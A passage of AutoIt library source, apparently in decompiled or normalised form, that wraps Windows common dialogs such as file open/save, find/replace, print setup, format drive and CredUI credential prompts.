structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding instance handle." ) CASE $CDERR_NOHOOK RETURN SETERROR ($ARESULT [0 ] , 0 , "The ENABLEHOOK flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a pointer to a corresponding hook procedure." ) CASE $CDERR_NOTEMPLATE RETURN SETERROR ($ARESULT [0 ] , 0 , "The ENABLETEMPLATE flag was set in the Flags member of the initialization structure for the corresponding common dialog box," & @LF & "but you failed to provide a corresponding template." ) CASE $CDERR_REGISTERMSGFAIL RETURN SETERROR ($ARESULT [0 ] , 0 , "The RegisterWindowMessage function returned an error code when it was called by the common dialog box function." ) CASE $CDERR_STRUCTSIZE RETURN SETERROR ($ARESULT [0 ] , 0 , "The lStructSize member of the initialization structure for the corresponding common dialog box is invalid" ) CASE $FNERR_BUFFERTOOSMALL RETURN SETERROR ($ARESULT [0 ] , 0 , "The buffer pointed to by the lpstrFile member of the OPENFILENAME structure is too small for the file name specified by the user." & @LF & "The first two bytes of the lpstrFile buffer contain an integer value specifying the size, in TCHARs, required to receive the full name." ) CASE $FNERR_INVALIDFILENAME RETURN SETERROR ($ARESULT [0 ] , 0 , "A file name is invalid." ) CASE $FNERR_SUBCLASSFAILURE RETURN SETERROR ($ARESULT [0 ] , 0 , "An attempt to subclass a list box failed because sufficient memory was not available." ) ENDSWITCH ENDIF RETURN SETERROR (@ERROR , @EXTENDED , "0x" & HEX ($ARESULT [0 ] ) ) ENDFUNC FUNC _WINAPI_COMMDLGEXTENDEDERROREX () LOCAL $ARET = DLLCALL ("comdlg32.dll" , "dword" , "CommDlgExtendedError" ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_CONFIRMCREDENTIALS ($STARGET , $BCONFIRM ) IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 ) LOCAL $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIConfirmCredentialsW" , "wstr" , $STARGET , "bool" , $BCONFIRM ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_FINDTEXTDLG ($HOWNER , $SFINDWHAT = "" , $IFLAGS = 0 , $PFINDPROC = 0 , $LPARAM = 0 ) $__G_PFRBUFFER = __HEAPREALLOC ($__G_PFRBUFFER , 2 * $__G_IFRBUFFERSIZE ) IF @ERROR THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) DLLSTRUCTSETDATA (DLLSTRUCTCREATE ("wchar[" & $__G_IFRBUFFERSIZE & "]" , $__G_PFRBUFFER ) , 1 , STRINGLEFT ($SFINDWHAT , $__G_IFRBUFFERSIZE + 4294967295 ) ) LOCAL $TFR = DLLSTRUCTCREATE ($TAGFINDREPLACE ) DLLSTRUCTSETDATA ($TFR , "Size" , DLLSTRUCTGETSIZE ($TFR ) ) DLLSTRUCTSETDATA ($TFR , "hOwner" , $HOWNER ) DLLSTRUCTSETDATA ($TFR , "hInstance" , 0 ) DLLSTRUCTSETDATA ($TFR , "Flags" , $IFLAGS ) DLLSTRUCTSETDATA ($TFR , "FindWhat" , $__G_PFRBUFFER ) DLLSTRUCTSETDATA ($TFR , "ReplaceWith" , 0 ) DLLSTRUCTSETDATA ($TFR , "FindWhatLen" , $__G_IFRBUFFERSIZE * 2 ) DLLSTRUCTSETDATA ($TFR , "ReplaceWithLen" , 0 ) DLLSTRUCTSETDATA ($TFR , "lParam" , $LPARAM ) DLLSTRUCTSETDATA ($TFR , "Hook" , $PFINDPROC ) DLLSTRUCTSETDATA ($TFR , "TemplateName" , 0 ) LOCAL $ARET = DLLCALL ("comdlg32.dll" , "hwnd" , "FindTextW" , "struct*" , $TFR ) IF @ERROR OR NOT $ARET [0 ] THEN LOCAL $IERROR = @ERROR + 30 __HEAPFREE ($__G_PFRBUFFER ) IF ISARRAY ($ARET ) THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 ) ELSE RETURN SETERROR ($IERROR , @EXTENDED , 0 ) ENDIF ENDIF RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_FLUSHFRBUFFER () IF NOT __HEAPFREE ($__G_PFRBUFFER , 1 ) THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_FORMATDRIVEDLG ($SDRIVE , $IOPTION = 0 , $HPARENT = 0 ) IF NOT ISSTRING ($SDRIVE ) THEN RETURN SETERROR (10 , 0 , 0 ) $SDRIVE = STRINGLEFT (STRINGUPPER (STRINGSTRIPWS ($SDRIVE , $STR_STRIPLEADING ) ) , 1 ) IF NOT $SDRIVE THEN RETURN SETERROR (11 , 0 , 0 ) $SDRIVE = ASC ($SDRIVE ) + 4294967231 IF ($SDRIVE < 0 ) OR ($SDRIVE > 25 ) THEN RETURN SETERROR (12 , 0 , 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "dword" , "SHFormatDrive" , "hwnd" , $HPARENT , "uint" , $SDRIVE , "uint" , 65535 , "uint" , $IOPTION ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] < 0 THEN RETURN SETERROR ($ARET [0 ] , 0 , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_GETCONNECTEDDLG ($IDLG , $IFLAGS = 0 , $HPARENT = 0 ) IF NOT __DLL ("connect.dll" ) THEN RETURN SETERROR (103 , 0 , 0 ) SWITCH $IDLG CASE 0 $IDLG = "GetNetworkConnected" CASE 1 $IDLG = "GetInternetConnected" CASE 2 $IDLG = "GetVPNConnected" CASE ELSE RETURN SETERROR (1 , 0 , 0 ) ENDSWITCH LOCAL $SSTR = "" IF BITAND ($IFLAGS , 1 ) THEN $SSTR &= "-SkipInternetDetection " ENDIF IF BITAND ($IFLAGS , 2 ) THEN $SSTR &= "-SkipExistingConnections " ENDIF IF BITAND ($IFLAGS , 4 ) THEN $SSTR &= "-HideFinishPage " ENDIF LOCAL $ARET = DLLCALL ("connect.dll" , "long" , $IDLG , "hwnd" , $HPARENT , "dword" , 0 , "dword" , 0 , "dword" , 0 , "handle" , 0 , "wstr" , STRINGSTRIPWS ($SSTR , $STR_STRIPTRAILING ) ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF NOT ($ARET [0 ] = 0 OR $ARET [0 ] = 1 ) THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN NUMBER (NOT $ARET [0 ] ) ENDFUNC FUNC _WINAPI_GETFRBUFFER () RETURN $__G_IFRBUFFERSIZE + 4294967295 ENDFUNC FUNC _WINAPI_GETOPENFILENAME ($STITLE = "" , $SFILTER = "All files (*.*)" , $SINITALDIR = "." , $SDEFAULTFILE = "" , $SDEFAULTEXT = "" , $IFILTERINDEX = 1 , $IFLAGS = 0 , $IFLAGSEX = 0 , $HWNDOWNER = 0 ) LOCAL $VRESULT = __OFNDLG (0 , $STITLE , $SINITALDIR , $SFILTER , $IFILTERINDEX , $SDEFAULTFILE , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , 0 , 0 , $HWNDOWNER ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF BITAND ($IFLAGS , $OFN_ALLOWMULTISELECT ) THEN RETURN __WINAPI_PARSEMULTISELECTFILEDIALOGPATH ($VRESULT ) ELSE RETURN __WINAPI_PARSEFILEDIALOGPATH ($VRESULT ) ENDIF ENDFUNC FUNC _WINAPI_GETSAVEFILENAME ($STITLE = "" , $SFILTER = "All files (*.*)" , $SINITALDIR = "." , $SDEFAULTFILE = "" , $SDEFAULTEXT = "" , $IFILTERINDEX = 1 , $IFLAGS = 0 , $IFLAGSEX = 0 , $HWNDOWNER = 0 ) LOCAL $SRETURN = __OFNDLG (1 , $STITLE , $SINITALDIR , $SFILTER , $IFILTERINDEX , $SDEFAULTFILE , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , 0 , 0 , $HWNDOWNER ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN __WINAPI_PARSEFILEDIALOGPATH ($SRETURN ) ENDFUNC FUNC _WINAPI_MESSAGEBOXCHECK ($ITYPE , $STITLE , $STEXT , $SREGVAL , $IDEFAULT = + 4294967295 , $HPARENT = 0 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "int" , "SHMessageBoxCheckW" , "hwnd" , $HPARENT , "wstr" , $STEXT , "wstr" , $STITLE , "uint" , $ITYPE , "int" , $IDEFAULT , "wstr" , $SREGVAL ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , + 4294967295 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_MESSAGEBOXINDIRECT ($TMSGBOXPARAMS ) LOCAL $ARET = DLLCALL ("user32.dll" , "int" , "MessageBoxIndirectW" , "struct*" , $TMSGBOXPARAMS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_OPENFILEDLG ($STITLE = "" , $SINITDIR = "" , $SFILTERS = "" , $IDEFAULTFILTER = 0 , $SDEFAULTFILEPATH = "" , $SDEFAULTEXT = "" , $IFLAGS = 0 , $IFLAGSEX = 0 , $POFNPROC = 0 , $PDATA = 0 , $HPARENT = 0 ) LOCAL $SRESULT = __OFNDLG (0 , $STITLE , $SINITDIR , $SFILTERS , $IDEFAULTFILTER , $SDEFAULTFILEPATH , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , $POFNPROC , $PDATA , $HPARENT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $SRESULT ENDFUNC FUNC _WINAPI_PAGESETUPDLG (BYREF $TPAGESETUPDLG ) LOCAL $ARET = DLLCALL ("comdlg32.dll" , "int" , "PageSetupDlgW" , "struct*" , $TPAGESETUPDLG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PICKICONDLG ($SICON = "" , $IINDEX = 0 , $HPARENT = 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "PickIconDlg" , "hwnd" , $HPARENT , "wstr" , $SICON , "int" , 4096 , "int*" , $IINDEX ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) LOCAL $ARESULT [2 ] LOCAL $ARES = DLLCALL ("kernel32.dll" , "dword" , "ExpandEnvironmentStringsW" , "wstr" , $ARET [2 ] , "wstr" , "" , "dword" , 4096 ) $ARESULT [0 ] = $ARES [2 ] $ARESULT [1 ] = $ARET [4 ] RETURN $ARESULT ENDFUNC FUNC _WINAPI_PRINTDLG (BYREF $TPRINTDLG ) LOCAL $ARET = DLLCALL ("comdlg32.dll" , "long" , "PrintDlgW" , "struct*" , $TPRINTDLG ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_PRINTDLGEX (BYREF $TPRINTDLGEX ) LOCAL $TPDEX = DLLSTRUCTCREATE ($TAGPRINTDLGEX , DLLSTRUCTGETPTR ($TPRINTDLGEX ) ) LOCAL $ARET = DLLCALL ("comdlg32.dll" , "long" , "PrintDlgExW" , "struct*" , $TPDEX ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN SETEXTENDED (DLLSTRUCTGETDATA ($TPDEX , "ResultAction" ) , 1 ) ENDFUNC FUNC _WINAPI_REPLACETEXTDLG ($HOWNER , $SFINDWHAT = "" , $SREPLACEWITH = "" , $IFLAGS = 0 , $PREPLACEPROC = 0 , $LPARAM = 0 ) $__G_PFRBUFFER = __HEAPREALLOC ($__G_PFRBUFFER , 4 * $__G_IFRBUFFERSIZE ) IF @ERROR THEN RETURN SETERROR (@ERROR + 100 , @EXTENDED , 0 ) LOCAL $TBUFF = DLLSTRUCTCREATE ("wchar[" & $__G_IFRBUFFERSIZE & "];wchar[" & $__G_IFRBUFFERSIZE & "]" , $__G_PFRBUFFER ) DLLSTRUCTSETDATA ($TBUFF , 1 , STRINGLEFT ($SFINDWHAT , $__G_IFRBUFFERSIZE + 4294967295 ) ) DLLSTRUCTSETDATA ($TBUFF , 2 , STRINGLEFT ($SREPLACEWITH , $__G_IFRBUFFERSIZE + 4294967295 ) ) LOCAL $TFR = DLLSTRUCTCREATE ($TAGFINDREPLACE ) DLLSTRUCTSETDATA ($TFR , "Size" , DLLSTRUCTGETSIZE ($TFR ) ) DLLSTRUCTSETDATA ($TFR , "hOwner" , $HOWNER ) DLLSTRUCTSETDATA ($TFR , "hInstance" , 0 ) DLLSTRUCTSETDATA ($TFR , "Flags" , $IFLAGS ) DLLSTRUCTSETDATA ($TFR , "FindWhat" , DLLSTRUCTGETPTR ($TBUFF , 1 ) ) DLLSTRUCTSETDATA ($TFR , "ReplaceWith" , DLLSTRUCTGETPTR ($TBUFF , 2 ) ) DLLSTRUCTSETDATA ($TFR , "FindWhatLen" , $__G_IFRBUFFERSIZE * 2 ) DLLSTRUCTSETDATA ($TFR , "ReplaceWithLen" , $__G_IFRBUFFERSIZE * 2 ) DLLSTRUCTSETDATA ($TFR , "lParam" , $LPARAM ) DLLSTRUCTSETDATA ($TFR , "Hook" , $PREPLACEPROC ) DLLSTRUCTSETDATA ($TFR , "TemplateName" , 0 ) LOCAL $ARET = DLLCALL ("comdlg32.dll" , "hwnd" , "ReplaceTextW" , "struct*" , $TFR ) IF @ERROR OR NOT $ARET [0 ] THEN LOCAL $IERROR = @ERROR __HEAPFREE ($__G_PFRBUFFER ) IF ISARRAY ($ARET ) THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , 0 ) ELSE RETURN SETERROR ($IERROR , 0 , 0 ) ENDIF ENDIF RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_RESTARTDLG ($STEXT = "" , $IFLAGS = 2 , $HPARENT = 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "RestartDialog" , "hwnd" , $HPARENT , "wstr" , $STEXT , "int" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SAVEFILEDLG ($STITLE = "" , $SINITDIR = "" , $SFILTERS = "" , $IDEFAULTFILTER = 0 , $SDEFAULTFILEPATH = "" , $SDEFAULTEXT = "" , $IFLAGS = 0 , $IFLAGSEX = 0 , $POFNPROC = 0 , $PDATA = 0 , $HPARENT = 0 ) LOCAL $SRESULT = __OFNDLG (1 , $STITLE , $SINITDIR , $SFILTERS , $IDEFAULTFILTER , $SDEFAULTFILEPATH , $SDEFAULTEXT , $IFLAGS , $IFLAGSEX , $POFNPROC , $PDATA , $HPARENT ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN $SRESULT ENDFUNC FUNC _WINAPI_SETFRBUFFER ($ICHARS ) $ICHARS = NUMBER ($ICHARS ) IF $ICHARS < 80 THEN $ICHARS = 80 ENDIF $__G_IFRBUFFERSIZE = $ICHARS + 1 RETURN 1 ENDFUNC FUNC _WINAPI_SHELLABOUTDLG ($STITLE , $SNAME , $STEXT , $HICON = 0 , $HPARENT = 0 ) LOCAL $ARET = DLLCALL ("shell32.dll" , "int" , "ShellAboutW" , "hwnd" , $HPARENT , "wstr" , $STITLE & "#" & $SNAME , "wstr" , $STEXT , "handle" , $HICON ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC FUNC _WINAPI_SHELLOPENWITHDLG ($SFILEPATH , $IFLAGS = 0 , $HPARENT = 0 ) LOCAL $TOPENASINFO = DLLSTRUCTCREATE ("ptr;ptr;dword;wchar[" & (STRINGLEN ($SFILEPATH ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TOPENASINFO , 1 , DLLSTRUCTGETPTR ($TOPENASINFO , 4 ) ) DLLSTRUCTSETDATA ($TOPENASINFO , 2 , 0 ) DLLSTRUCTSETDATA ($TOPENASINFO , 3 , $IFLAGS ) DLLSTRUCTSETDATA ($TOPENASINFO , 4 , $SFILEPATH ) LOCAL $ARET = DLLCALL ("shell32.dll" , "long" , "SHOpenWithDialog" , "hwnd" , $HPARENT , "struct*" , $TOPENASINFO ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLSTARTNETCONNECTIONDLG ($SREMOTE = "" , $IFLAGS = 0 , $HPARENT = 0 ) LOCAL $STYPEOFREMOTE = "wstr" IF NOT STRINGSTRIPWS ($SREMOTE , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STYPEOFREMOTE = "ptr" $SREMOTE = 0 ENDIF DLLCALL ("shell32.dll" , "long" , "SHStartNetConnectionDialogW" , "hwnd" , $HPARENT , $STYPEOFREMOTE , $SREMOTE , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) RETURN 1 ENDFUNC FUNC _WINAPI_SHELLUSERAUTHENTICATIONDLG ($SCAPTION , $SMESSAGE , $SUSER , $SPASSWORD , $STARGET , $IFLAGS = 0 , $IERROR = 0 , $BSAVE = FALSE , $HBITMAP = 0 , $HPARENT = 0 ) IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 ) LOCAL $TINFO = DLLSTRUCTCREATE ("dword;hwnd;ptr;ptr;ptr;wchar[" & (STRINGLEN ($SMESSAGE ) + 1 ) & "];wchar[" & (STRINGLEN ($SCAPTION ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TINFO , 1 , DLLSTRUCTGETPTR ($TINFO , 6 ) - DLLSTRUCTGETPTR ($TINFO ) ) DLLSTRUCTSETDATA ($TINFO , 2 , $HPARENT ) DLLSTRUCTSETDATA ($TINFO , 3 , DLLSTRUCTGETPTR ($TINFO , 6 ) ) DLLSTRUCTSETDATA ($TINFO , 4 , DLLSTRUCTGETPTR ($TINFO , 7 ) ) DLLSTRUCTSETDATA ($TINFO , 5 , $HBITMAP ) DLLSTRUCTSETDATA ($TINFO , 6 , $SMESSAGE ) DLLSTRUCTSETDATA ($TINFO , 7 , $SCAPTION ) LOCAL $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIPromptForCredentialsW" , "struct*" , $TINFO , "wstr" , $STARGET , "ptr" , 0 , "dword" , $IERROR , "wstr" , $SUSER , "ulong" , 4096 , "wstr" , $SPASSWORD , "ulong" , 4096 , "bool*" , $BSAVE , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (10 , $ARET [0 ] , 0 ) LOCAL $ARESULT [3 ] $ARESULT [0 ] = $ARET [5 ] $ARESULT [1 ] = $ARET [7 ] $ARESULT [2 ] = $ARET [9 ] RETURN $ARESULT ENDFUNC FUNC _WINAPI_SHELLUSERAUTHENTICATIONDLGEX ($SCAPTION , $SMESSAGE , $SUSER , $SPASSWORD , $IFLAGS = 0 , $IAUTHERROR = 0 , $BSAVE = FALSE , $IPACKAGE = 0 , $HPARENT = 0 ) IF NOT __DLL ("credui.dll" ) THEN RETURN SETERROR (103 , 0 , 0 ) LOCAL $TBLOB = 0 , $ARET IF STRINGLEN ($SUSER ) THEN $ARET = DLLCALL ("credui.dll" , "bool" , "CredPackAuthenticationBufferW" , "dword" , 1 , "wstr" , $SUSER , "wstr" , $SPASSWORD , "ptr" , 0 , "dword*" , 0 ) IF @ERROR OR NOT $ARET [5 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) $TBLOB = DLLSTRUCTCREATE ("byte[" & $ARET [5 ] & "]" ) $ARET = DLLCALL ("credui.dll" , "bool" , "CredPackAuthenticationBufferW" , "dword" , 1 , "wstr" , $SUSER , "wstr" , $SPASSWORD , "struct*" , $TBLOB , "dword*" , $ARET [5 ] ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR + 20 , @EXTENDED , 0 ) ENDIF LOCAL $TINFO = DLLSTRUCTCREATE ("dword;hwnd;ptr;ptr;ptr;wchar[" & (STRINGLEN ($SMESSAGE ) + 1 ) & "];wchar[" & (STRINGLEN ($SCAPTION ) + 1 ) & "]" ) DLLSTRUCTSETDATA ($TINFO , 1 , DLLSTRUCTGETPTR ($TINFO , 6 ) - DLLSTRUCTGETPTR ($TINFO ) ) DLLSTRUCTSETDATA ($TINFO , 2 , $HPARENT ) DLLSTRUCTSETDATA ($TINFO , 3 , DLLSTRUCTGETPTR ($TINFO , 6 ) ) DLLSTRUCTSETDATA ($TINFO , 4 , DLLSTRUCTGETPTR ($TINFO , 7 ) ) DLLSTRUCTSETDATA ($TINFO , 5 , 0 ) DLLSTRUCTSETDATA ($TINFO , 6 , $SMESSAGE ) DLLSTRUCTSETDATA ($TINFO , 7 , $SCAPTION ) $ARET = DLLCALL ("credui.dll" , "dword" , "CredUIPromptForWindowsCredentialsW" , "struct*" , $TINFO , "dword" , $IAUTHERROR , "ulong*" , $IPACKAGE , "struct*" , $TBLOB , "ulong" , DLLSTRUCTGETSIZE ($TBLOB ) , "ptr*" , 0 , "ulong*" , 0 , "bool*" , $BSAVE , "dword" , $IFLAGS ) IF @ERROR THEN RETURN SETERROR (@ERROR + 30 , @EXTENDED , 0 ) IF $ARET [0 ] THEN RETURN SETERROR (30 , $ARET [0 ] , 0 ) LOCAL $ARESULT [4 ] , $IERROR = 0 $ARESULT [2 ] = $ARET [8 ] $ARESULT [3 ] = $ARET [3 ] LOCAL $PBLOB = $ARET [6 ] LOCAL $ISIZE = $ARET [7 ] $ARET = DLLCALL ("credui.dll" , "bool" , "CredUnPackAuthenticationBufferW" , "dword" , 1 , "ptr" , $PBLOB , "dword" , $ISIZE , "wstr" , "" , "dword*" , 4096 , "wstr" , "" , "dword*" , 4096 , "wstr" , "" , "dword*" , 4096 ) IF NOT @ERROR AND $ARET [0 ] THEN $ARESULT [0 ] = $ARET [4 ] $ARESULT [1 ] = $ARET [8 ] ELSE $IERROR = @ERROR + 40 ENDIF IF NOT _WINAPI_ZEROMEMORY ($PBLOB , $ISIZE ) THEN ENDIF _WINAPI_COTASKMEMFREE ($PBLOB ) IF $IERROR THEN RETURN SETERROR ($IERROR , 0 , 0 ) RETURN $ARESULT ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __OFNDLG ($IDLG , $STITLE , $SINITDIR , $SFILTERS , $IDEFFILTER , $SDEFFILE , $SDEFEXT , $IFLAGS , $IFLAGSEX , $POFNPROC , $PDATA , $HPARENT ) LOCAL $TBUFFER = DLLSTRUCTCREATE ("wchar[32768]" ) LOCAL $TFILTERS = 0 , $TDEFEXT = 0 , $TINITDIR = 0 , $TTITLE = 0 LOCAL $TOFN = DLLSTRUCTCREATE ($TAGOPENFILENAME ) DLLSTRUCTSETDATA ($TOFN , "StructSize" , DLLSTRUCTGETSIZE ($TOFN ) ) DLLSTRUCTSETDATA ($TOFN , "hwndOwner" , $HPARENT ) DLLSTRUCTSETDATA ($TOFN , 3 , 0 ) LOCAL $ADATA = STRINGSPLIT ($SFILTERS , "|" ) LOCAL $AFILTERS [$ADATA [0 ] * 2 ] LOCAL $ICOUNT = 0 FOR $I = 1 TO $ADATA [0 ] $AFILTERS [$ICOUNT + 0 ] = STRINGSTRIPWS ($ADATA [$I ] , $STR_STRIPLEADING + $STR_STRIPTRAILING ) $AFILTERS [$ICOUNT + 1 ] = STRINGSTRIPWS (STRINGREGEXPREPLACE ($ADATA [$I ] , ".*\((.*)\)" , "\1" ) , $STR_STRIPALL ) IF $AFILTERS [$ICOUNT + 1 ] THEN $ICOUNT += 2 ENDIF NEXT IF $ICOUNT THEN $TFILTERS = _WINAPI_ARRAYTOSTRUCT ($AFILTERS , 0 , $ICOUNT + 4294967295 ) IF @ERROR THEN ENDIF ENDIF DLLSTRUCTSETDATA ($TOFN , "lpstrFilter" , DLLSTRUCTGETPTR ($TFILTERS ) ) DLLSTRUCTSETDATA ($TOFN , 5 , 0 ) DLLSTRUCTSETDATA ($TOFN , 6 , 0 ) DLLSTRUCTSETDATA ($TOFN , "nFilterIndex" , $IDEFFILTER ) $SDEFFILE = STRINGSTRIPWS ($SDEFFILE , $STR_STRIPLEADING + $STR_STRIPTRAILING ) IF $SDEFFILE THEN DLLSTRUCTSETDATA ($TBUFFER , 1 , $SDEFFILE ) ENDIF DLLSTRUCTSETDATA ($TOFN , "lpstrFile" , DLLSTRUCTGETPTR ($TBUFFER ) ) DLLSTRUCTSETDATA ($TOFN , "nMaxFile" , 32768 ) DLLSTRUCTSETDATA ($TOFN , 10 , 0 ) DLLSTRUCTSETDATA ($TOFN , 11 , 0 ) $SINITDIR = STRINGSTRIPWS ($SINITDIR , $STR_STRIPLEADING + $STR_STRIPTRAILING ) IF $SINITDIR THEN $TINITDIR = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($SINITDIR ) + 1 ) & "]" ) ENDIF DLLSTRUCTSETDATA ($TINITDIR , 1 , $SINITDIR ) DLLSTRUCTSETDATA ($TOFN , "lpstrInitialDir" , DLLSTRUCTGETPTR ($TINITDIR ) ) $STITLE = STRINGSTRIPWS ($STITLE , $STR_STRIPLEADING + $STR_STRIPTRAILING ) IF $STITLE THEN $TTITLE = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($STITLE ) + 1 ) & "]" ) ENDIF DLLSTRUCTSETDATA ($TTITLE , 1 , $STITLE ) DLLSTRUCTSETDATA ($TOFN , "lpstrTitle" , DLLSTRUCTGETPTR ($TTITLE ) ) DLLSTRUCTSETDATA ($TOFN , "Flags" , $IFLAGS ) DLLSTRUCTSETDATA ($TOFN , 15 , 0 ) DLLSTRUCTSETDATA ($TOFN , 16 , 0 ) $SDEFEXT = STRINGSTRIPWS ($SDEFEXT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) IF $SDEFEXT THEN $TDEFEXT = DLLSTRUCTCREATE ("wchar[" & (STRINGLEN ($TDEFEXT ) + 1 ) & "]" ) ENDIF DLLSTRUCTSETDATA ($TDEFEXT , 1 , STRINGREPLACE ($SDEFEXT , "." , "" ) ) DLLSTRUCTSETDATA ($TOFN , "lpstrDefExt" , DLLSTRUCTGETPTR ($TDEFEXT ) ) DLLSTRUCTSETDATA ($TOFN , "lCustData" , $PDATA ) DLLSTRUCTSETDATA ($TOFN , "lpfnHook" , $POFNPROC ) DLLSTRUCTSETDATA ($TOFN , 20 , 0 ) DLLSTRUCTSETDATA ($TOFN , 21 , 0 ) DLLSTRUCTSETDATA ($TOFN , 22 , 0 ) DLLSTRUCTSETDATA ($TOFN , "FlagsEx" , $IFLAGSEX ) LOCAL $ARET SWITCH $IDLG CASE 0 $ARET = DLLCALL ("comdlg32.dll" , "bool" , "GetOpenFileNameW" , "struct*" , $TOFN ) CASE 1 $ARET = DLLCALL ("comdlg32.dll" , "bool" , "GetSaveFileNameW" , "struct*" , $TOFN ) CASE ELSE ENDSWITCH IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) IF NOT $ARET [0 ] THEN RETURN SETERROR (10 , _WINAPI_COMMDLGEXTENDEDERROREX () , "" ) IF BITAND ($IFLAGS , $OFN_ALLOWMULTISELECT ) THEN IF BITAND ($IFLAGS , $OFN_EXPLORER ) THEN $ADATA = _WINAPI_STRUCTTOARRAY ($TBUFFER ) IF @ERROR THEN RETURN SETERROR (11 , 0 , "" ) ENDIF ELSE $ADATA = STRINGSPLIT (DLLSTRUCTGETDATA ($TBUFFER , 1 ) , " " ) ENDIF SWITCH $ADATA [0 ] CASE 0 RETURN SETERROR (12 , 0 , "" ) CASE 1 CASE ELSE LOCAL $SPATH = $ADATA [1 ] FOR $I = 2 TO $ADATA [0 ] $ADATA [$I + 4294967295 ] = _WINAPI_PATHAPPEND ($SPATH , $ADATA [$I ] ) NEXT REDIM $ADATA [$ADATA [0 ] ] $ADATA [0 ] -= 1 ENDSWITCH ELSE $ADATA = DLLSTRUCTGETDATA ($TBUFFER , 1 ) ENDIF $__G_VEXT = $TOFN RETURN $ADATA ENDFUNC FUNC __WINAPI_PARSEMULTISELECTFILEDIALOGPATH ($APATH ) LOCAL $AFILES [UBOUND ($APATH ) + 1 ] $AFILES [0 ] = UBOUND ($APATH ) $AFILES [1 ] = STRINGMID ($APATH [1 ] , 1 , STRINGINSTR ($APATH [1 ] , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 4294967295 ) FOR $I = 1 TO UBOUND ($APATH ) + 4294967295 $AFILES [$I + 1 ] = STRINGMID ($APATH [$I ] , STRINGINSTR ($APATH [$I ] , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 1 ) NEXT RETURN $AFILES ENDFUNC FUNC __WINAPI_PARSEFILEDIALOGPATH ($SPATH ) LOCAL $AFILES [3 ] $AFILES [0 ] = 2 $AFILES [1 ] = STRINGMID ($SPATH , 1 , STRINGINSTR ($SPATH , "\" , $STR_NOCASESENSEBASIC , + 4294967295 ) + 